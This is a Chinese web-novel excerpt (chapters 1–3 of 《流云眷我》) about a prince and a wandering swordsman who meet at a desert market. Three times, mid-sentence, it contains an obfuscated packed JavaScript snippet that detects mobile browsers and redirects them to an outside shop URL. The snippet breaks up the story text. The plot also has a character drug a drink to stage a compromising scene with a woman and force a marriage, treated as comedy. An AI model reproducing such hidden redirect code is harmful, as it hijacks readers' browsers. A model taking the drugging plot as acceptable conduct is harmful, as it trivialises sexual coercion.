《流云眷我》 1. 初见错认 日落月攀升,星游白云间。 天字上房里燃着菊花白碳,暖如春朝。忘言叫来小厮把放凉的果酒撤下,热壶新的。 亓骁云凝眉不展,竟只是半晌痴梦。 “你意下如何?”赵靖腕间一双竹节琉璃叮当镯,衬得那手愈发白皙,他见亓骁云如失神魂,不明所以。 这人接不接赏都该应个声,江湖中人不愿归顺朝堂大可拒绝,他左右不缺打手,可亓骁云自进门就摆出这副模样是何意。 数个时辰前,黄沙漫天,呼啸狂风中偶有驼铃三两声,朦胧天地间似有鬼魅聚众惑人心魄。离得近了才能看清竖起的羊皮灯笼,摇曳烛光下是人非鬼,沙洲鬼市开。 “此乃家传秘笈,便宜不得。” “老东西,本公子出价可不低。家传的都拿来卖,你还揭得开锅?”赵靖纱巾蒙面以御风沙,他观此书颇有几分家学渊源,心血来潮想买下。 忘言从小跟在兄长身边,习武起早贪黑,送礼投其所好总是没错的。 “忒!小子年纪轻眼神却不好使,我还未过三十!” “晓得了,老头,不卖也罢。” 骂我?赵靖想那就不买了,直接拿走,心情好时还老头印本也未尝不可。 赵靖边走边吩咐忘言,忘言悬起来的心落回肚子里,谢过这小祖宗便不多语,紧跟在赵靖身边时刻护卫。 遥想当初赵靖舞刀弄剑嫌不够过瘾,非要试试长枪,还绑红缨。他也不知怎的就自己直直往枪口上撞,如今想来也是凶险,险些俊颜就要破相。 赵靖捂着脸一顿后怕,白眼一翻踹两脚让地上的长枪滚,官家在旁倒是难得开怀。 风沙更甚,三两步之外难辨雌雄。 此行从中都一路低调行至西平关,赵靖只为寻那传说中归隐山林,能活死人的神医不系。脱世离俗的神医没那么好找,赵靖也不心急,游山涉水,进城过村,也是一段难得的闲暇时日。 那年被接进宫后,还是赵靖头一回离开中都。 传闻曾有小儿在沙洲鬼市得仙家垂青,结发授长生,人人如闻桃源心向往之。 赵靖一笑置之,此处哪里是什么神奇密境,多是流落江湖的人不愿大张旗鼓,就寻了处风沙掩面之地交换信息,售卖家当谋温饱,甚至杀人买命。 那飘渺无根的神仙故事也不知道是谁编来揽客钓鱼的。 这沙洲鬼市鱼龙混杂,珍品如大浪淘沙,曾有人高价求宝最后发现竟是赝品,竹篮打水一场空。 只有一嗜好酿酒的老翁切实混出了名号。若是有缘,便能在风沙深处重金购得几坛黄泉酿。 饮之忘忧,身如飘飘然,如登极乐,早赴黄泉也未尝不可。 黄泉酿佳名在外,可鲜有人知它是药酒古方改制而成,对养足精气那可是大有裨益,气足了人便康健,自然快乐。既如此,赵靖往黄沙呼啸深处走,寻来献给兄长也不赖。 哟,泥巴也卖真是稀奇。 赵靖拿鞋尖踢两下,他也不管摊主拉高声量喝止,仗着忘言和暗卫护身,乐呵呵地继续逛市集。 “哪来的臭小子!” “婆婆,这铁疙瘩要价几何?”亓骁云蹲下打量,越看越欢喜,可近看杂质却有些多了,他在衡量价值几何。 “底价三两,小子可知这是玄铁?铸器一等一的好料!” “唉,无缘咯。”说罢亓骁云起身拍拍手牵马就走,他兜里一锭银子就是全部身家,在袖袋腰包里仔细翻翻,可能还有散落的铜钱。 摊主见他真要走,急得直跺脚,又道家中无以为继,孙儿日日要煎药,能换多少银子让亓骁云说个数。 亓骁云回头,这老婆婆倒不似个耍心眼的奸诈商人,褐衣打满补丁,满手风霜,一双浊目带着恳求。他沉默片刻从怀中摸出那锭银子,近来确实囊中羞涩,如今昭国安定,没有那么多人张榜悬赏仇贼性命,杂活的工钱,几坛酒便耗光了。 忆起儿时自己高热难退,娘亲亦是如此着急,亓骁云拿银子的手终是松了松。何况忠烈遗孤,帮衬也是应该。 一见那银子,摊主浑浊的眼睛里霎时泛起水光,颤巍巍地伸手,连声说世道多艰幸得公子垂怜,改日定会带着孙儿给公子磕头谢恩。 老婆婆喜出望外,亓骁云抱着铁疙瘩打算离开鬼市,没钱了逛不得。或许疙瘩里面的杂质更少,能打上一柄环首刀,卖与镖局赚些银钱。 左右离得近,去望山县买菊花酒也是极好,黄泉酿是无缘得见了。 “亓大哥!”清丽的女声忽然喊住亓骁云。 “阮姑娘,甚巧。” 亓骁云曾顺手救过阮方竹和她的情郎。如今几年不见,阮方竹见到恩人甚是惊喜,她自言早就听闻鬼市多奇珍,特意前来一探,可惜鱼目混珠没有心仪之物。 “亓大哥,可要往南边去?不若同行,藏青他就在望山县采买药引,不知能否邀亓大哥一叙?” 他乡遇友,亓纪云自然应承。想来离澜城也不太远,便是在阮家的庇护之下,路上也好先靠阮姑娘稍稍接济。 改日揭了榜吃赏金,再谢过阮姑娘便是。 “哎呀,不卖不卖!都说了这是家传绝学!公子你瞧着也不似囊中羞涩,何苦压我价钱?”这摊贩铁了心要从赵靖手上赚一笔大的,死不松口。 赵靖逛了一圈放出暗卫或威逼或利诱,皆无人知晓神医下落,临了想起这秘笈便再度光顾。可惜啊,赵靖抱臂叹气,怎么偏要吃罚酒,他让忘言拿来钱袋。 钱袋瞧着就沉甸甸,摊贩搓着手眼冒精光,今日真是要发了。 横财没进他手里。 赵靖数出开价的三倍银两,美名其曰肥水不流外人田,尽数给了忘言。忘言利落掏出自己钱袋揣好,临了还无声揶揄,瞥一眼摊贩。 “你!” 摊贩哪里见得到嘴的肥羊跑了,财迷心窍手已然摸上压在股下的砍刀。 忘言眼神一凛,不等摊贩有所动作,暗卫身形已如鬼魅般欺近,手腕一翻,多了柄寸许短刃,悄无声息抵在摊贩脖侧。 那动作快得只留下一道残影,周遭本想看热闹的江湖人瞬间噤声,面面相觑。此人是何来历?身边高手如云。 嘶,还是个雁过拔毛的,顺走了秘笈。 赵靖全然不知风沙萧萧的几步之遥有多少异动,翻翻书页甩给忘言。他眯起眼,朦胧中认出不远处的破布幡子,传闻中的佳酿?当即眉眼弯弯。 “走!我们去那处。” 风沙遮眼,人影交错。不过一擦肩的光景,亓骁云心跳声如雷轰鸣,他呆呆地追随着那人身影,眼波如秋水潋滟,站在原地都快忘了天地几何。 怎么会有这般灵动的女子,他日若为自己穿霞帔戴凤冠,当是此生美满。 “亓大哥?”阮方竹见亓骁云忽然驻足失神,出言询问,她抬头望去,不见新奇。 还不知姑娘的闺名,可惜方才行色匆匆,未能问得。 “亓大哥你在看什么?” 待初次相见,应备上好些相见礼,讨姑娘欢心。 算算自己也到成家的年岁了,人总不能一辈子闯荡江湖,得遇良人不若就此安定下来。 “亓大哥!” 咴咴,马被勒紧了也不满扬蹄嘶声。 亓骁云这才回过神,脸上泛起一丝不易察觉的微红,他轻咳一声道:“无妨。阮姑娘,姑娘家一般都喜欢些什么?” 阮方竹不明所以,捡着些她在澜城时对大家闺秀的印象答了几句,又笑问,“亓大哥可是有心上人了?” “……”亓骁云没有回答,只是摇摇头,嘴角上扬。他独自思忖,珠花簪子,胭脂眉黛,看来自己要存些银两攒够聘礼,来日求娶时要风风光光,不能让自己媳妇委屈半分。 她来此地闲游,或也是个脱俗的姑娘,亲手锻造一套夫妻剑赠与孩儿娘亲亦好。孩儿娘亲?亓骁云惊觉自己孟浪,笑骂一声,不自在地转着指环。 离此处最近的落脚地只有来时路过的村庄,再远数十里便是望山县。亓骁云一心归去,好再见姑娘。 赵靖兴冲冲奔到那简陋摊子前。 走近了才发现没有须发皆白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281190|198359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的卖酒老翁,只有穿着一身旧棉袄的小伙,斜倚酒坛正翘着脚闭目养神,不似卖酒郎倒似逍遥客。 赵靖狐疑,如此年轻,莫不是蹭黄泉酿的名头卖假酒的吧。 “十两一坛。”小伙晃晃脚,这人虽衣着简单却浑身散发富贵败家的气息,遂改口,“二十两一坛。” “当真是黄泉酿?你家老爷子入土把酒方传你了?” “啊呸!”小伙蹦起叉腰,张嘴就骂,“我爷爷好着呢!这酒不卖了!去去去!吃屎了都没你这嘴臭!” 真情实感,鼻孔喷张,不像演的。 赵靖哈哈道适才相戏,又解释自己没尝过那般秽物,自然比不得小伙勇猛,失敬失敬。 小伙拳头硬牙根痒,可惜这人身后一堆随从,打不过。 但坠手的钱袋啪嗒砸到他手里,定睛一看,黄灿灿的,小伙气消一半,验过真金后甚至装上几分笑意。 “叫你家老爷子把酒送到驿站,酿成多少要多少,自有人接手。”赵靖敲开封盖,沁人心脾,让忘言抱走一坛,余下的爷孙送至驿站,约莫半月后能到宫中。 “哼,公子识货。”小伙欢喜应下,心里盘算着今冬能让不少人过得舒坦些。 待赵靖走远几步,再回头时已无人影,风一过脚印都不曾有。这沙洲鬼市到底还是藏了些能人奇珍的,酿酒老翁乐意收留穷苦人那他便顺水推舟,也算替兄长行善。 说到底不过是些小钱。 赵珩除了把忘言指给赵靖随行随侍,还把调用各地万象阁暗桩的权力也一并给了他,因而赵靖想要知道的情报都一清二楚。 当然,赵珩也无比清楚。 名动天下的江湖门派有三,万象阁居其首。余二为断岳门与无咎谷,不分上下。 万象阁弟子论武功或许排不上号,但论逃命,没人能追得上他们。毕竟阁中弟子身怀绝技,可造千机万象,所制飞鸢顺风可日行数百里,保命的本事自然都得练到顶尖。又因其行踪难觅,所造器物千金难求,寻常权贵欲求一见而不可得。众人皆道,此门派超然独立不入世俗。 实则万象阁背靠世代帝王,其暗桩或隐于市井,或伏于庙堂,三教九流皆有耳目,天下事鲜有不知。 沙洲鬼市夜半而开,觉没睡足困倦烦闷,又一身沙尘,赵靖嫌弃得很,跨步上马便要回客栈梳洗换衣。沐浴净身后,方才配得起忘忧佳酿。 阮方竹在外游历从不缺银少两,她见亓骁云急忙绕村一圈后神不守舍,以为是恩人倦怠不已,便让恩人留在客栈歇息。她先去村口买些辣子馕饼,干巴巴的,但藏青爱啃。 亓骁云进店便抖落出一把铜钱拍在掌柜面前。 “两碗热汤面,加些卤臊,再要一壶粮酒。” 掌柜的扫了一眼亓骁云,这人是个练家子,他勉强笑道:“里头坐,可这钱怕是加不得肉臊,加个蛋吧。” 虽不愿多生枝节,可亓骁云也不是个好忽悠的,本来就没几个钱还要宰他,十几文没道理连顿饱饭都吃不了。 当即从身后匣子里抽枪,长杆以链相连甩开后通身乌黑,枪尖寒芒毕露。 “哟嘿!敢闹事!”看堂柴夫猛力一踢长凳,筋肉虬结。 亓骁云眼皮都不曾抬一下,使蛮力的莽夫而已。真正让他分出心思去警惕的,是悄声落在梁上的三两黑衣侍从。 眼看双方就要过上几招,忘言上前耳语几字,赵靖笑道:“诸位且慢。” 这人竟是江湖中颇有名望的亓骁云,虽相貌平平,但据传此人武功奇好,被近百人围困亦能全身而退。 赵靖如今一看对方,勉强算是君子端方。只是他这一身灰麻布衣外捆褐皮肩甲是哪个朝代的遗留物,土里土气。 “相遇是缘,这位公子我请客,好酒好菜尽管上。”赵靖展颜,随手摘掉面巾邀亓骁云共饮。 计划着从村子沿官道南下望山县一路找寻心上人,仍在回味惊鸿一瞥的亓骁云,抬眼便是搅弄他一汪春水的双眸,心湖一荡。 荡到一半,未及笑迎,春水已然成冬雨,兜头浇他个透心凉。 2. 酒会误事 一见钟情未果而中道崩殂,亓骁云默默折起长枪,朝赵靖略一颌首,权作谢过。 江湖中的能人奇客拉拢一番亦是不小助力,有时出其不意或可成杀招。 况且与有名有望的亓骁云相识一二,日后赵靖独自游历五湖四海,也算有友可依。 因而赵靖起了拉拢之心,他知西平关外近来盘踞着一伙贼人,虽不成气候,但拿些金银驱使亓骁云将贼首斩于马下,一来替赵珩除掉边关隐患,二来也能试试亓骁云的能力。 故他引着亓骁云先到天字上房详谈,赏金随喜不过数字而已,他还借机试探一下亓骁云可有归顺朝廷之意。 但这亓骁云莫不是个呆子?盯住自己又不说话,赵靖莫名其妙,却直直打量回去。 亓骁云心中苦闷不自觉愣神,透过赵靖的面容怀念娘子隔着红纱盖头含笑与自己对望的美梦,可叹梦醒再难眠,当时自己真是被风沙迷了眼。 上天不公,给了此人天潢贵胄的显赫身份,还赐他一副勾人心神的皮囊,真是偏心过头。也罢也罢,多看几眼赵靖,当观赏画中仙,暂且沉醉便是。 愈发古怪了,像痴儿一般如泣如诉的闺怨又是从何而起?赵靖可不记得自己招惹过亓骁云,难不成美名满江湖的亓大侠,实际是个断袖?呵,竟肖想到自己头上了。 要不让忘言带人去打他一顿?也可,只是打打杀杀有失风骨,若换个法子以皮囊诱弄,让亓骁云心悦诚服而后一脚踹开,如此教训,才更为刻骨铭心。 忘言取来这小祖宗的换洗衣物,从屏风后走出,莫名闻到了一股邪恶气息。 赵靖曲起指节,慢条斯理地轻敲桌面,琉璃手镯相碰清脆悦耳,“本王脸上有何不妥,叫亓大侠目不转睛,看了这许久?” 恍然回神,亓骁云后知后觉太过失礼,慌忙移开视线,轻咳一声起身抱拳行礼。 赵靖天人之姿不假,可身处朝政的达官贵人,一个比一个精。亓骁云告诫自己别栽在容貌里。但,赵靖富贵骄人,千金之躯,自己未尝不能从他身上赚一笔。 “靖王所托,在下确有把握。他们自诩义勇实则不过一群贼寇,危祸此地百姓,在下明日申时前必来答复。”斩了贼首,流寇自可不攻自破。 赵靖点头允了,亓骁云正要退下他又好奇问道:“你这黑泥是何物?” “玄铁,可惜杂质颇多,要锻造成器还需颇费一番功夫。” “沙洲鬼市里寻得的?售卖之人几何?”赵靖来了兴致,若是多人私下贩卖粗铁,说不定附近有新矿藏,这绝对是此行意外之喜。兄长可用之财,自然愈多愈好。 赵靖眼睛忽亮如璨星,亓骁云的视线却触之即离,目光向下落在唇珠上,赵靖竟然还搽口脂,当真讲究。 “若有矿藏怎敢隐瞒靖王,这只是一位老人家私物。她儿子曾是铁匠,几年前参军一去不回,如今家中拮据,她便把家中能换钱的都卖了。” 亓骁云读懂了赵靖没问出的铁矿,赵靖正色看他,倒不是个只会舞刀弄枪的莽夫。 照理说,五年前的胜仗将女菀族的大半领地纳入大昭国土,零渚国从此俯首称臣,更一举震慑了虎视眈眈的霄国。这老叟本应得到一笔不少的抚恤金,何至于变卖家当。 赵靖冷哼,想来其中又是一笔糊涂账。过后叫万象阁的人去查一查,若有中饱私囊的肥虫,顺手宰了便是。 “本王知晓。” 佳酿还未温好,佐酒小食忘言已吩咐小厮去准备,赵靖要沐浴,先行屏退闲杂人等。 亓骁云告辞,他的豪华臊子面也好了。忽他想起自己接了截杀令却没谈赏金,虽堂堂靖王不至于赖数,可江湖规矩还是事先谈拢为妥,价钱谈高些罢。推门不动,亓骁云未多想,旁侧有窗他便伸手一推。 此处已近边关,偏僻之地的客栈即使天字上房也不过尔尔,小到一度赵靖不理解,他宅府里丫鬟的房间竟也能称作上房。 赵靖踱步至云岫屏前,张开双臂让忘言伺候着解下外袍,随手抽出发簪扔到一旁。 “在下还有一事叨扰靖……” 赵靖侧身时撞上亓骁云的视线,青丝如瀑落下,只余半褪的月白里衣。 亓骁云像是被刀刺到般忽的拧过脸庞,耳根攀上红痕,状似看向窗外风光,一句问询说得结结巴巴。 窗只开了一线,他看水淋淋的泥路么。 赵靖见人这般模样,眉梢微挑。明明是亓骁云心有不轨,旁人见了多半以为亓骁云才是被戏弄的良家子。 原来大侠脸泛红霞,竟是这般光景。赵靖心中恶趣顿生,偏不急着拢上衣襟。 “事成,亓大侠说个数便是。” 语气里夹杂着几分揶揄,赵靖赏金一事自己方才早早提过,敢情这断袖大侠光顾盯着自己出神,一字未曾入耳。 亓骁云耳热,他暗骂自己脑子不清醒,侧头拱手行礼又撞上边框,同手同脚地走远。何至于对一男子乱了神,既知赵靖是男儿郎,自己就该弃了幻想。 一物无意间落到地垫上,忘言拾起玉环递到赵靖面前。 隔间里热气氤氲,客栈小厮热水仍烧个不停,不间断往房里送。 赵靖打眼便发现了端倪,亓骁云身上还真有意外之喜。没想到这桩霄国鲜为人知的逸闻居然是真的。看来即使他是个痴心妄想的断袖,自己还得以礼相待好生结交,不,来日当成至交。 至于亓骁云是揣着男女之情死心塌地,还是因兄弟情义不离不弃,于赵靖而言无关紧要。 “保管妥当,追过去还他。” 忘言称是,速速归还。而后他拿来软巾衣物置于架上,又松了松炭火,才趁着赵靖沐浴,润墨写下连日琐事。他心中叹气,自己堂堂暗卫之首直属天子,却是包揽了护卫、探子、侍女与跑腿等一系列活计,月奉却纹丝不动。回中都后,主子可要好好替自己说媒才是。 不过近来应是有乐子可瞧,亓骁云怕是惹到了自家小祖宗,他可瞧见了赵靖滴溜转的眼神,从小到大此神情一出必有倒霉蛋中招。 中都该是飘雪的时节,兄长的日子又要难熬了。 泡久就该皴了,赵靖哗啦一下从浴桶里站起,窗外木鸽飞远,他从不知忘言信中内容。兄长远在千里之外,却也似在身侧,望他一览无遗。 赵珩睥睨着阶下臣,殿内香烟缭绕,静得能听见铜漏的滴水声。 司天监监正有事禀奏,赵珩对这个国丈一手提拔起来沈成义多有提防。 “陛下,昨夜臣与灵台郎值守观象,见辰星其光过盛,色若凝霜。又,北宫玄武七宿中,虚、危二宿之间,有青黑之气聚而不散,状如悬河。”沈成义顿了顿,接着禀报,“我等推演过后,此乃水德将盈之兆,位指西向。” 殿中响起极低的议论声,这绝非好消息,西边有济水,昭国境内最大的河流。新帝才即位岁余,便有不祥预兆,丞相周衍眉头微蹙,太尉常岳厉不动声色,目光却悄然扫视。 赵珩指尖轻叩紫檀木案,等着沈成义没说完的后半段话。 “然,天机流转,祸福相倚。岁星今岁格外耀目,有瑞气凝结,状如嘉禾垂穗。其位属南方,主稼穑生长,乃载籍水孕沃土、星催丰稔之兆。” “司天监观星测算有功,当赏。”赵珩眼帘微垂,声音缓慢而清晰,“应天时,导地利,尽人事,才终能得知天象吉凶。司天监继续密切观测,丞相与太尉,户部、工部尚书留下合议。若无其余要事,退朝。” 山呼之声响起,这满殿朱紫,是真的齐心导水入田共盼丰年,还是借袅袅天象争权夺利,犹未可知。 赵珩压下腹腔不适,遥望白雪覆檐,想起信中说赵靖日日太阳当中才起,摘个野果酸倒牙还要带果核回中都,钓鱼不成把桥头的鱼摊收购干净又随手送了,见歌女窈窕替人家消了卖身契……没干一件正事,他心头松快几分。 自家傻弟弟能快活的日子不太多了,如今还能自在些便由着他罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281191|198359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 趁着药香未尽,赵珩沉目听众臣争议。 “亓大哥,我们吃完饭就告辞。”阮方竹背着大袋馕饼,她低声和亓骁云说这赵靖在外声名不佳,仗着自己与陛下一母同胞,又颇受宠爱,行事嚣张,骄奢淫逸都有其名,怕是个不好相与的。 惹上官字两把口,容易一身骚。 亓骁云亦觉难与赵靖同路,天道戏人,此人即使有姊妹,亦非自己高攀得起。亓骁云心中苦笑,身为男子长这一双含情目作甚,真是害人不浅。 可他又觉得坊间总爱添油加醋,赵靖拾得白玉指环完好归还,那般笑颜真诚,濯濯如春月柳,或许根本并非传闻中的不堪。 阮方竹?赵靖得知她也在,特意另费一番功夫梳洗。 前朝官至丞相,在换了皇帝后全身而退,带着族人归乡教书设院桃李半天下的阮氏怎能一直中立,归入麾下才好。既有客登门,赵靖便仔细挑了衣裳,一身青衣,下摆绣着踏云仙鹤暗纹,束起额发佩上骨竹簪子,端的是衣角也风流的萧郎之态,只一佩囊似是多余。 能把阮家绑在同一阵营,即使行事小人,赵靖也定是要做的。 叫来小厮换套白瓷莲花盏,醒好美酒,布上糕点,再佐些咸辣小食。尽了礼数,赵靖才亲邀阮方竹落座一叙。 忘言接过酒壶,斟酒,粉末悄然落进其中一杯盏。 一进门亓骁云情深缘浅事事空的愁绪就飞到九天外,清冽的酒香钩住鼻腔,他眼睛霎时有了亮光。 好酒!绝对的好酒! 赵靖只当没瞧见亓骁云垂涎欲滴的眼神,他先同阮方竹问过好,又细细问起她可有什么忌口,室中暖炉可够。 阮方竹客气谢答,只端杯微抿示意,谁知这玉面狐狸腹中藏了多少黑水。家书里曾言陛下打听过自己亲事,宫中殿下皆年幼,后宫数年未见新人,这亲多半是要说给靖王的,她有所提防。 见阮方竹喜静,赵靖便收住了话头。 他翩然起身言笑晏晏,亓骁云的名字在舌尖打了个转,张口却学着阮方竹喊了声亓大哥,他要敬他一杯。 “本王早就听闻亓大哥冠绝武林,不知可有兴致,与本王共饮一杯黄泉酿,聊聊这江湖上的快意情仇。”最老实的人逗弄起来,才最有意趣。 赵靖语毕,引得阮方竹侧目。这靖王好端端怎的忽然夹着嗓子说话,怪瘆人的。 亓骁云躲开让人耳热的视线,清清嗓子。 “虚长年岁当不起一声哥哥,靖王客气。”他头也不抬就伸手拿过酒盏,瓷盏轻碰便仰头一灌。怪不得自己耳根痒,这王爷言辞语气也忒像看上男人的断袖。 饮得着急入喉微辣,但醇厚的酒香返入鼻腔,满口余味悠长,浑身说不出的舒畅,惹得亓骁云眯起眼喟叹一声。可惜白莲盏太小气,若能换得大碗豪饮更是对味。 “好酒!当真是世间少有的佳酿!今日应和靖王、阮姑娘痛饮一番才是!”什么天意弄人、阴阳相错都被亓骁云抛掷脑后,主动斟满杯盏,仰头又是一饮。 谁叫他哥哥了,赵靖腹诽果然是断袖,净往暧昧处牵扯。 忘言心梗,闭目再睁眼。亓骁云自己面前的酒盏不拿偏舍近求远,这杯底的残粉怕是都被这酒鬼舔舐殆尽了。 好在那药并非即刻生效,当有回转的余地。 赵靖见忘言暗中冲着自己左右眼皮子轮流抽筋,他三言两语得知阮方竹也要南下,便约定此间事了,同行一路,酒局草草作结。 亓骁云抓紧时间又倒三杯拜别酒,目光飘向那酒坛净说场面话。他喉结微微滚动,这黄泉酿回味甘甜,不显酒劲,遍体生暖,真不亏忘忧之名。 他正欲同阮方竹一道离去,却被忘言拦住去路。 “此处上房稀少,亓大侠不如留宿于此,待阮姑娘休整过后,再做打算?” 赵靖温文尔雅缓声问,阮方竹并不多虑应下了。 两个大男人歇在一间房里能出什么事。 3. 错药迷情 亓骁云隐隐觉得不对,他并非酒力浅薄,不该头昏脑热至此,正想运气一探究竟,不料手脚更是发软,迈出一步,直直扑向赵靖。 天地倒转,意识沉沦时,亓骁云在想赵靖竟然还擦了香膏…… 并非香膏而是赵靖所佩药囊散发的气味,此药名为情降引,可令人昏睡数个时辰,却在梦中对下药人的气息念念不忘,醒来后极易情动。 赵靖随手把人甩到身后榻上,亓骁云还挺沉,浑身精肉,不过他虽看起来灰扑扑的,闻起来倒还算干净。赵靖接过忘言递来的帕子擦手。 药错人了,不过没关系反正还活着,就是可惜亓骁云姿色平平,浪费他一剂奇药。 午间用膳,阮方竹听闻亓骁云醉到不省人事还特来探看,见人盖着锦被酣眠便不多打扰,应了赵靖邀约,闲时到村子里逛逛。 “多谢公子!老身这就替公子装上,这些挎包呀货郎买去,少说也能用上数年!结实得很!” 妇人缝的单肩佩囊用料扎实,花瓣型包盖还绣了一圈女菀族的飞罴纹样,煞是别致。 阮方竹多看了两眼,赵靖便主动掏银子相送,又道天寒地冻妇人讨生活不易,把其余所有背包都买下。 妇人一边装包,一边喜上眉梢,不自觉絮叨:“一个布包卖三十文,交完市税余二十七,再刨去布料针线,能落个十来文。哎呦,今日可是走了财运!” 赵靖眸光微动:“市税?交多少?” “三文一个嘞!”妇人叹口气,“衙门说了,摆摊的、走街的,都得交。老身年纪大了,跑不动远路,就在这村口卖卖。” 赵靖没接话,只点了点头。 但他心里在算,三十文的货,收三文,足足一成税。朝堂定的商税最高是二十税一,半成都不到。这多出来的两成半,进了谁的兜? 赵靖笑了笑,像是随口一问:“阮姑娘行走江湖,可曾留意过各地商税有高低之分?” 阮方竹一愣,不知他为何问这个,但还是答道:“各地不一。有的地方二十税一,有的三十税一。听家中兄长说南边还有四十税一的,为的是招揽商贾。” “不错,阮家果然博闻强识。”赵靖点点头,“那阮姑娘可曾见过,三十文的货,收三文税的?” 阮方竹脚步一顿。她虽不涉朝政,但账还是会算的。三十收三,那是十税一,比朝堂定的高了不止一倍。 “公子的意思是……” “没什么意思。”赵靖打断她,又恢复了那副纨绔模样,“本王就是好奇,谁的胆子这么大。” 阮方竹皱眉,这地方官吏真是吃了熊心豹子胆,拿百姓血汗榨钱。来日别叫她遇上,否则定叫奸人吃不了兜着走。 忘言跨步侧身,剑鞘一横,精准挡住了猝然冲出来的灰脸猴儿。 “菩萨姐姐菩萨哥哥,我好饿,可以给我吃的吗?我,我可以干活的。”小乞儿噗通一声就跪下,冷得发抖,又默默挪动捂住外露的冻疮。 “好啊,替本公子把背包送到客栈去,自有人管你今日饭食。” 阮方竹拿银钱的动作停滞,赵靖这会儿倒不像个坏心肠。 这么小的孩子衣着如此单薄,他不拿钱打发反而叫小孩干活才给饭,全了一个小乞儿的自尊。乞儿不一定守得住财,要知道一文钱就足够乞丐们争得头破血流。 眼下又有人跟着来讨施舍,赵靖一律打发他们去干活,养马喂草梳毛擦轿,总之不给白食。要在村子里找几个乞儿,如今倒是不容易。 “多谢公子相赠。”阮方竹这才收下佩囊,她愿意与良善人结交一二,外界言论亦或有失偏颇。 “阮姑娘不必客气,相逢是缘,还望阮姑娘莫嫌赠礼价轻。” “哪里的话,这佩囊针脚细密,我行走江湖用得着。” 妇人笑出眼角皱纹插话:“两位真是般配呀,老身今日走运能见到这么好的姑娘,老身绣的香囊就当添头送给姑娘吧。” 阮方竹连连摆手,既不愿承一句般配,也不愿平白收妇人东西。 这戏演得生动,赵靖眼底的笑意藏着精光,他俯身靠近阮方竹却不触碰,伸手接过香囊又速速拉开距离,只笑不语。 闹得阮方竹心里直犯嘀咕,女子心中的警铃大作。赵靖笑得似狐狸见了瘸脚山鸡,他最好不是在打什么歪主意。 村子不大,两人很快回到客栈,各回各屋。 花了大价钱重新布置的房间总算能入赵靖的眼,铺上满地厚实的新毡毯,驱寒的炭火不生半丝灰烟,茶壶精巧常备清茶,杯子也是温热。 床上的锦被是掌柜媳妇为了儿子娶亲特意绣缝的,他说保准方圆百里找不出比他婆娘手艺更好的,连棉胎也是今年新打。 可惜,赵靖只觉糙且重。奈何此地实在偏远,他只好勉强凑合一两晚。 “主子,账清。”忘言回禀,找来演戏的乞丐都结过了报酬。赵靖是绝对不会允许脏兮兮的人伸手碰他的骏马与车轿。 “嗯。他是怎么了?”赵靖抿一口粗茶润润唇,抱臂垂目,语气肃然,“你确定没掺杂助兴之物?” “绝无,属下,不敢……”忘言语滞,不应该啊。 只见亓骁云脸颊漫上潮红,呼吸渐重,分明一副情难自禁的模样。 那药只会令人昏睡,顶多扰乱思绪,并非害人身子的东西。赵靖原打算一番劝酒与阮方竹假意醉到一处,醒来衣衫半褪拥着便是,他自信勾起女子心中涟漪信手拈来。 如若还似石女那就多下几副药,多来几次意外,假戏真做奉子成婚也不是不行。反正兄长从定南镇捡来的医官不仅望闻问切医术高明,更是精通旁门左道,手里多得是千奇百怪的东西。 今日误打误撞,药酒与药粉勾兑,许是药效相冲,又或是药效相叠,总之缘由难辨。 赵靖盯着亓骁云面泛桃花,笑得不似正派人,他问:“你说这江湖侠客,与青楼花魁的滋味有何不同?” 天底下何等美艳动人的女子赵靖没见过,皆是初见时明媚惊艳,而后却不过尔尔,空有皮囊,无趣得紧,不如他自己照镜子来得赏心悦目。 这亓骁云,哪里都说不上好看,但他这张端正的脸抿着唇蹙着眉时,倒是有几分姿色。 忘言看赵靖真的在细细打量不省人事的亓骁云,他当机立断,“属下,找绳子。” 小祖宗想玩便玩,但忘言不敢托大,亓骁云武功声名在外,未免中途人醒来动粗挣扎伤到赵靖,忘言打算先把亓骁云五花大绑。 “我何时此等怪癖。”赵靖白了一眼,伸手拆掉亓骁云的发冠随意丢在地上,“去,给这位大侠松松腰带,外衣脱了里衣也别这般端正,再扯一扯,抽几缕发丝,凌乱些。” 不愧习武之人,瞧着腰腹块垒分明。赵靖转念一想自己也不差,天生宽肩窄腰,若是苦练,只会比亓骁云更为矫健精悍。 忘言一令一动,心中腹诽,这小祖宗当初在夫子眼皮底下果然没少看话本禁书。 “他醒来问与不问,都缄默不言,只管待他如上宾。” 赵靖还不忘再添把火,把一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281192|198359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方青色帕子揉皱了才塞进亓骁云手里。又托腮思忖,把自己的簪子也扔到屏风边。 直到不知情的人看见亓骁云的模样必然浮想联翩,赵靖满意颌首。 